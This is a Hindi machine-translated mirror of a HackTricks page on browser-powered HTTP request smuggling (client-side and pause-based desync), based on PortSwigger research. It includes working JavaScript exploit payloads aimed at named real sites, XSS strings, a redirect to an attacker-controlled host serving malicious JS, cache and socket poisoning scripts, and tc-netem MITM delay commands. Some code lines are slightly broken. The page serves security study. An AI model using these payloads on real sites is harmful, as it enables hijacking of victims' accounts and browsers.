Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00

Translator 2731a5925e Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

2024-02-03 19:01:48 +00:00

38 KiB

Raw Blame History

Browser HTTP Request Smuggling

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें।
The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह।
💬 Discord group में शामिल हों या telegram group में या Twitter पर हमें 🐦 @hacktricks_live का अनुसरण करें।
HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।

## CL.0/H2.0 browser-compatible desync

यह भेद्यता तब होती है जब Content Length (CL) हेडर को backend server द्वारा पूरी तरह से अनदेखा किया जाता है। फिर, बैक-एंड body को दूसरे अनुरोध के method की शुरुआत के रूप में मानता है। CL को अनदेखा करना इसे 0 के मान के रूप में मानने के बराबर है, इसलिए यह एक CL.0 desync है - एक ज्ञात लेकिन कम अन्वेषित हमले की श्रेणी।

हमला संभव था क्योंकि बैक-एंड सर्वर बस POST अनुरोध की अपेक्षा नहीं कर रहा था।

{% hint style="warning" %} ध्यान दें कि यह भेद्यता एक पूरी तरह से वैध, विनिर्देश-अनुरूप HTTP अनुरोध द्वारा ट्रिगर की जा रही है। इसका मतलब है कि front-end के पास इसके खिलाफ सुरक्षा करने का कोई मौका नहीं है, और यह एक ब्राउज़र द्वारा भी ट्रिगर किया जा सकता है। {% endhint %}

CL.0 और H2.0 के बीच का एकमात्र अंतर यह है कि दूसरा HTTP2 का उपयोग कर रहा है (जिसमें एक निहित content-length हेडर है) लेकिन backend उसका भी उपयोग नहीं कर रहा है।

Client-Side Desync

पारंपरिक desync हमले कनेक्शन को जहरीला बनाते हैं जो कि front-end और back-end सर्वर के बीच होता है, और इसलिए वे उन वेबसाइटों पर असंभव हैं जो front-end/back-end आर्किटेक्चर का उपयोग नहीं करते हैं। ये अब से server-side desync हैं। अधिकांश server-side desyncs केवल एक कस्टम HTTP क्लाइंट द्वारा एक दोषपूर्ण अनुरोध जारी करके ट्रिगर किए जा सकते हैं।

एक ब्राउज़र द्वारा desync का कारण बनने की क्षमता एक नई धमकी की श्रेणी को सक्षम बनाती है जिसे client-side desync (CSD) कहा जाता है।
CSD हमला इसके साथ शुरू होता है कि पीड़ित हमलावर की वेबसाइट पर जाता है, जो फिर उनके ब्राउज़र को दो क्रॉस-डोमेन अनुरोध भेजने के लिए बनाता है जो कि भेद्य वेबसाइट पर होते हैं। पहला अनुरोध इस तरह से तैयार किया जाता है कि वह ब्राउज़र के कनेक्शन को desync कर दे और दूसरा अनुरोध एक हानिकारक प्रतिक्रिया को ट्रिगर करे, जो आमतौर पर हमलावर को पीड़ित के खाते का नियंत्रण देता है।

Detect

CSD वेक्टर एक HTTP अनुरोध है जिसमें दो मुख्य गुण होते हैं।

पहला, सर्वर को अनुरोध के Content-Length (CL) को अनदेखा करना चाहिए। यह आमतौर पर इसलिए होता है क्योंकि अनुरोध ने या तो सर्वर त्रुटि को ट्रिगर किया, या सर्वर बस चुने गए एंडपॉइंट पर POST अनुरोध की अपेक्षा नहीं कर रहा था। स्थिर फाइलों और सर्वर-स्तरीय रीडायरेक्ट्स को लक्षित करने का प्रयास करें, और अत्यधिक-लंबे-URLs के माध्यम से, और अर्ध-दोषपूर्ण वाले जैसे /%2e%2e के माध्यम से त्रुटियों को ट्रिगर करें।

दूसरा, अनुरोध को वेब-ब्राउज़र क्रॉस-डोमेन में ट्रिगर किया जा सकना चाहिए। ब्राउज़र क्रॉस-डोमेन अनुरोधों पर नियंत्रण को काफी प्रतिबंधित करते हैं, इसलिए आपके पास हेडर्स पर सीमित नियंत्रण होता है, और यदि आपके अनुरोध में एक बॉडी है तो आपको HTTP POST मेथड का उपयोग करना होगा। अंततः आप केवल URL पर ही नियंत्रण रखते हैं, प्लस कुछ अन्य चीजें जैसे कि Referer हेडर, बॉडी, और Content-Type का बाद का हिस्सा।

CL ignore testing

इस मिसकॉन्फिग को टेस्ट करने का तरीका यह है कि दो अनुरोध भेजें और बीच में एक को smuggle करें। यदि smuggled कनेक्शन ने दूसरे अनुरोध की प्रतिक्रिया को प्रभावित किया, इसका मतलब है कि यह भेद्य है:

{% hint style="warning" %} ध्यान दें कि आप इस भेद्यता का परीक्षण केवल भेजे गए एक से बड़े Content-Length को भेजकर और टाइमआउट की तलाश में नहीं कर सकते क्योंकि कुछ सर्वर पूरी बॉडी प्राप्त नहीं होने पर भी प्रतिक्रिया देते हैं। {% endhint %}

यह जानना महत्वपूर्ण है कि क्या लक्ष्य वेबसाइट HTTP/2 का समर्थन करती है। CSD हमले आमतौर पर HTTP/1.1 कनेक्शन पुन: उपयोग का शोषण करते हैं और वेब ब्राउज़र्स HTTP/2 का उपयोग करना पसंद करते हैं जब भी संभव हो, इसलिए यदि लक्ष्य वेबसाइट HTTP/2 का समर्थन करती है तो आपके हमले काम करने की संभावना कम है। एक अपवाद है; कुछ forward proxies HTTP/2 का समर्थन नहीं करते हैं इसलिए आप उनका उपयोग करने वाले किसी का शोषण कर सकते हैं। इसमें कॉर्पोरेट प्रॉक्सी, कुछ घुसपैठी VPN और यहां तक कि कुछ सुरक्षा उपकरण भी शामिल हैं।

Confirm

सबसे पहले, एक साइट का चयन करें जहां से हमला शुरू करना है। इस साइट को HTTPS के माध्यम से एक्सेस किया जाना चाहिए और यह लक्ष्य डोमेन से अलग होना चाहिए।

अगला, सुनिश्चित करें कि आपने कोई प्रॉक्सी कॉन्फ़िगर नहीं की है, फिर अपनी हमला साइट पर ब्राउज़ करें। डेवलपर टूल्स ख

fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})

शोषण - स्टोर

एक विकल्प यह है कि लक्ष्य साइट पर ऐसी कार्यक्षमता की पहचान करें जो आपको पाठ डेटा स्टोर करने देती है, और प्रीफिक्स को इस तरह से तैयार करें कि आपके पीड़ित के कुकीज़, प्रमाणीकरण हेडर्स, या पासवर्ड कहीं संग्रहित हो जाएं जहां आप उन्हें पुनः प्राप्त कर सकें। यह हमला प्रवाह लगभग सर्वर-साइड अनुरोध शोषण के समान ही काम करता है, इसलिए मैं इस पर अधिक ध्यान नहीं दूंगा।

शोषण - चेन&पिवट

सामान्य परिस्थितियों में, कई प्रकार के सर्वर-साइड हमले केवल उस हमलावर द्वारा शुरू किए जा सकते हैं जिसकी सीधी पहुंच लक्ष्य वेबसाइट पर होती है क्योंकि वे HTTP अनुरोधों पर निर्भर करते हैं जिन्हें ब्राउज़र भेजने से इनकार करते हैं, जैसे कि HTTP हेडर्स में छेड़छाड़ - वेब कैश पॉइज़निंग, अधिकांश सर्वर-साइड अनुरोध शोषण, होस्ट-हेडर हमले, यूज़र-एजेंट आधारित SQLi, CSRF JSON Content-type और अन्य कई।

सफल हमले के लिए सबसे सरल मार्ग दो मुख्य तकनीकों से आया जो आमतौर पर सर्वर-साइड डिसिंक हमलों के लिए उपयोग की जाती हैं: जावास्क्रिप्ट संसाधन विषाक्तता होस्ट-हेडर रीडायरेक्ट्स के माध्यम से, और HEAD मेथड का उपयोग करके हानिकारक HTML के साथ एक प्रतिक्रिया को जोड़ना। दोनों तकनीकों को अनुकूलित करने की आवश्यकता थी ताकि कुछ नई चुनौतियों का सामना किया जा सके जो पीड़ित के ब्राउज़र में संचालन से जुड़ी हुई थीं।

शोषण उदाहरण

स्टैक्ड HEAD उदाहरण

रंगीन शोषण

JS शोषण

fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va

व्याख्या:

CL.0 का दुरुपयोग /assets में (यह /assets/ की ओर रीडायरेक्ट करता है और CL की जांच नहीं करता)
HEAD अनुरोध को Smuggle करें (क्योंकि HEAD प्रतिक्रियाएँ अभी भी एक content-length समाविष्ट करती हैं)
GET अनुरोध को Smuggle करें जिसका सामग्री प्रतिक्रिया में पेलोड के साथ प्रतिबिंबित होने वाला है।
HEAD अनुरोध के content-length के कारण, इस अनुरोध की प्रतिक्रिया HEAD अनुरोध के शरीर होगी
cors mode सेट करें। सामान्यतः यह नहीं किया जाता है, लेकिन इस मामले में सर्वर की प्रारंभिक POST की प्रतिक्रिया एक रीडायरेक्ट है जिसे अगर अनुसरण किया जाए तो exploit काम नहीं करेगा। इसलिए, cors mode का उपयोग एक त्रुटि को ट्रिगर करने और catch के साथ पीड़ित को रीडायरेक्ट करने के लिए किया जाता है।

Host header redirect + client-side cache poisoning

JS exploit

fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })

/+webvpn+/ पर अलग डोमेन के साथ Host हेडर में एक अनुरोध का जवाब रीडायरेक्ट के साथ दिया जाता है /+webvpn+/index.html उसी डोमेन के लिए जो Host हेडर में है।
दूसरे अनुरोध में स्थान को /+CSCOE+/win.js पर सेट किया जाता है ताकि उस .js फाइल के कैश को जहरीला बनाया जा सके।
इस अनुरोध का जवाब /+webvpn+/ के रीडायरेक्ट के साथ दिया जाएगा जो हमलावर के डोमेन के साथ पथ /+webvpn+/index.html पर होगा।
win.js का कैश एक रीडायरेक्ट के साथ जहरीला हो जाएगा जो हमलावर के पेज पर होगा, लेकिन पीड़ित भी location वेरिएबल में निर्धारित के अनुसार रीडायरेक्ट का पालन करेगा और हमलावर के वेब पेज पर समाप्त होगा।
हमलावर फिर पीड़ित को https://redacted/+CSCOE+/logon.html पर रीडायरेक्ट करेगा। यह पेज /+CSCOE+/win.js को इम्पोर्ट करेगा। जिसका कैश एक रीडायरेक्ट है हमलावर के सर्वर पर, इसलिए, हमलावर दुर्भावनापूर्ण JS के साथ जवाब दे सकता है।

पीड़ित हमलावर के पेज को दो बार एक्सेस करेगा, पहली बार यह HTML की उम्मीद करता है जो पीड़ित को वापस https://redacted/+CSCOE+/logon.html पर रीडायरेक्ट करता है और दूसरी बार यह जावास्क्रिप्ट कोड की उम्मीद करता है (पेलोड)। एक पॉलीग्लॉट का उपयोग करके दोनों प्रतिक्रियाओं को केवल एक में सेवा की जा सकती है:

HTTP/1.1 200 OK
Content-Type: text/html

alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/

HEAD पेलोड चंक्ड TE के साथ

CSD की तलाश में आप आंशिक रूप से विकृत URLs जैसे /..%2f या /%2f का भी परीक्षण कर सकते हैं।

रंगीन एक्सप्लॉइट

JS एक्सप्लॉइट

fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
input.value = ''
form.appendChild(input)
document.body.appendChild(form)
form.submit()
}

पेज /%2f को CL.0 भेद्यता का शोषण करने के लिए एक्सेस किया जाता है।
एक HEAD अनुरोध को Transfer-Encoding: chunked हेडर का उपयोग करके छिपाया जाता है।
इस परिदृश्य में यह हेडर आवश्यक है क्योंकि अन्यथा सर्वर ने शरीर के साथ HEAD अनुरोध को स्वीकार करने से इनकार कर दिया।
फिर, उपयोगकर्ता एक POST भेजता है जिसके शरीर में पिछले HEAD अनुरोध का अंतिम टुकड़ा और एक नया अनुरोध जो छिपाया गया है के साथ सामग्री (JS पेलोड) होती है जो प्रतिक्रिया में परिलक्षित होगी।
इसलिए ब्राउज़र HEAD अनुरोध के प्रतिक्रिया को POST अनुरोध के प्रतिक्रिया के रूप में मानेगा जिसमें शरीर प्रतिक्रिया भी शामिल होगी जो दूसरे छिपे हुए अनुरोध में उपयोगकर्ता के इनपुट को परिलक्षित करती है।

होस्ट हेडर रीडायरेक्ट + RC

JS शोषण

<script>
function reset() {
fetch('https://vpn.redacted/robots.txt',
{mode: 'no-cors', credentials: 'include'}
).then(() => {
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
})
setTimeout(poison, 120) // worked on 140. went down to 110
}

function poison(){
sendPoison()
sendPoison()
sendPoison()
setTimeout(reset, 1000)
}

function sendPoison(){
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
{
method: 'POST',
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
mode: 'no-cors',
credentials: 'include'
}
)
}

</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>

इस मामले में, फिर से, एक host header redirect है जिसका उपयोग JS आयात को हाइजैक करने के लिए किया जा सकता है। हालांकि, इस बार redirect cacheable नहीं है, इसलिए क्लाइंट-साइड cache poisoning एक विकल्प नहीं है।

इसलिए, किया गया हमला पीड़ित को कमजोर पेज तक पहुंचाएगा एक टैब में और फिर, बस उससे पहले कि पेज JS फाइल लोड करने की कोशिश करे, सॉकेट को पॉइज़न करेगा smuggling connections (इस मामले में 3)।
क्योंकि समय को बहुत ही सटीक होना चाहिए, हमला हर नए टैब पर प्रत्येक इटरेशन पर किया जाता है जब तक कि यह काम नहीं करता।

{% hint style="warning" %} ध्यान रखें कि इस मामले में /meeting_testjs.cgi पर हमला किया गया क्योंकि यह एक Javascript लोड करता है जो एक 404 के साथ प्रतिक्रिया दे रहा है, इसलिए यह कैश्ड नहीं है। अन्य परिदृश्यों में जहां आप कैश्ड JS पर हमला करने की कोशिश करते हैं, आपको इसे कैश से गायब होने का इंतजार करना होगा इससे पहले कि आप नया हमला शुरू करें। {% endhint %}

सारांश चरण:

एक नई विंडो खोलें।
निरंतर समय के लिए एक हानिरहित अनुरोध लक्ष्य को भेजें, एक ताजा कनेक्शन स्थापित करने के लिए।
विंडो को /meeting_testjs.cgi पर लक्ष्य पृष्ठ पर नेविगेट करें।
120ms बाद, रीडायरेक्ट गैजेट का उपयोग करके तीन पॉइज़न कनेक्शन बनाएं।
5ms बाद, /meeting_testjs.cgi रेंडर करते समय पीड़ित को उम्मीद है कि /appletRedirect.js को आयात करने की कोशिश करेगा और x.psres.net पर रीडायरेक्ट हो जाएगा, जो दुर्भावनापूर्ण JS सेवा करेगा।
अगर नहीं, तो हमले को फिर से कोशिश करें।

Pause-based desync

पॉज़िंग भी गलत अनुरोध-समय सीमा कार्यान्वयन को ट्रिगर करके नई desync संवेदनशीलताएं पैदा कर सकती हैं।

इसलिए, एक हमलावर एक अनुरोध भेज सकता है जिसमें हेडर्स इंगित करते हैं कि एक बॉडी है, और फिर फ्रंट-एंड के टाइमआउट होने का इंतजार करें बॉडी भेजने से पहले। अगर फ्रंट-एंड टाइमआउट हो जाता है लेकिन कनेक्शन खुला छोड़ देता है, तो उस अनुरोध की बॉडी को नए अनुरोध के रूप में माना जाएगा।

उदाहरण: Varnish

Varnish cache में synth() नामक एक फीचर है, जो आपको बैक-एंड को अनुरोध भेजे बिना प्रतिक्रिया जारी करने देता है। यहाँ एक उदाहरण नियम है जिसका उपयोग एक फोल्डर तक पहुंच को ब्लॉक करने के लिए किया जा रहा है:

if (req.url ~ "^/admin") {
return (synth(403, "Forbidden"));
}

जब आंशिक अनुरोध को प्रोसेस किया जाता है जो किसी सिंथ नियम से मेल खाता है, तो Varnish समय समाप्त हो जाएगा अगर उसे 15 सेकंड तक कोई डेटा प्राप्त नहीं होता है। जब ऐसा होता है, तो यह कनेक्शन को पुन: उपयोग के लिए खुला छोड़ देता है हालांकि उसने सॉकेट से केवल आधा अनुरोध ही पढ़ा होता है। इसका मतलब है कि अगर क्लाइंट दूसरे हिस्से के साथ आगे बढ़ता है तो उसे एक नए अनुरोध के रूप में समझा जाएगा।

एक संवेदनशील फ्रंट-एंड पर पॉज़-आधारित डिसिंक को ट्रिगर करने के लिए, अपने हेडर्स भेजना शुरू करें, शरीर का वादा करें, और फिर बस प्रतीक्षा करें। अंततः आपको एक प्रतिक्रिया प्राप्त होगी और जब आप अंत में अपने अनुरोध शरीर भेजेंगे, तो इसे एक नए अनुरोध के रूप में समझा जाएगा:

{% hint style="warning" %} जाहिरा तौर पर यह 25 जनवरी को CVE-2022-23959 के रूप में पैच किया गया था। {% endhint %}

उदाहरण: Apache

Varnish की तरह, यह उन एंडपॉइंट्स पर संवेदनशील है जहां सर्वर स्वयं प्रतिक्रिया उत्पन्न करता है बजाय इसके कि अनुरोध को एप्लिकेशन संभाले। ऐसा होने का एक तरीका सर्वर-स्तरीय रीडायरेक्ट्स है: Redirect 301 / /en

सर्वर-साइड शोषण

अगर संवेदनशील सर्वर (Apache या Varnish इस मामले में) बैक-एंड में है, तो एक फ्रंट-एंड की आवश्यकता होती है जो बैक-एंड सर्वर को अनुरोध (http headers इस मामले में) बिना बफरिंग के स्ट्रीम करता है।

इस मामले में हमलावर को प्रतिक्रिया समय समाप्ति तब तक प्राप्त नहीं होगी जब तक वह शरीर नहीं भेज देता। लेकिन अगर उसे समय समाप्ति का पता है तो यह समस्या नहीं होनी चाहिए।

Amazon का Application Load Balancer (ALB) जरूरत के अनुसार कनेक्शन का डेटा स्ट्रीम करेगा, लेकिन अगर वह प्रतिक्रिया प्राप्त करता है आधे अनुरोध (समय समाप्ति) के पहले शरीर प्राप्त करने से पहले, तो वह शरीर नहीं भेजेगा, इसलिए यहां एक Race Condition का शोषण किया जाना चाहिए:

ALB के पीछे Apache का शोषण करने के लिए एक अतिरिक्त जटिलता है - दोनों सर्वरों का एक डिफ़ॉल्ट समय समाप्ति 60 सेकंड है। इससे अनुरोध के दूसरे भाग को भेजने के लिए एक अत्यंत छोटी समय-खिड़की बचती है। RC हमला अंततः 66 घंटे के बाद सफल रहा।

MITM शोषण

यह स्पष्ट रूप से ब्राउज़र से एक अनुरोध को रोकना संभव नहीं है ताकि Pause-desync भेद्यता का शोषण किया जा सके। हालांकि, आप हमेशा एक MITM हमला करके एक अनुरोध को रोक सकते हैं जो ब्राउज़र द्वारा भेजा गया है। ध्यान दें कि यह हमला किसी भी ट्रैफिक को डिक्रिप्ट करने पर निर्भर नहीं करता है।

हमले का प्रवाह एक नियमित क्लाइंट-साइड डिसिंक हमले के समान है। उपयोगकर्ता एक हमलावर-नियंत्रित पृष्ठ पर जाता है, जो लक्ष्य एप्लिकेशन के लिए एक श्रृंखला की क्रॉस-डोमेन अनुरोध जारी करता है। पहला HTTP अनुरोध जानबूझकर इतना बड़ा पैड किया जाता है कि ऑपरेटिंग सिस्टम इसे कई TCP पैकेटों में विभाजित कर देता है, जिससे एक सक्रिय MITM अंतिम पैकेट को देरी कर सकता है, एक पॉज़-आधारित डिसिंक को ट्रिगर करता है। पैडिंग के कारण, हमलावर आकार के आधार पर सरलता से पहचान सकता है कि किस पैकेट को रोकना है।

क्लाइंट-साइड से यह एक नियमित क्लाइंट-साइड डिसिंक की तरह दिखता है HEAD गैजेट का उपयोग करते हुए, अनुरोध पैडिंग को छोड़कर:

let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()

आक्रमणकारी प्रणाली पर अंधा MITM करते समय, देरी को tc-NetEm का उपयोग करके लागू किया गया था:

# Setup
tc qdisc add dev eth0 root handle 1: prio priomap

# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3

# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s

संदर्भ

इस पोस्ट की सभी जानकारी https://portswigger.net/research/browser-powered-desync-attacks से ली गई है।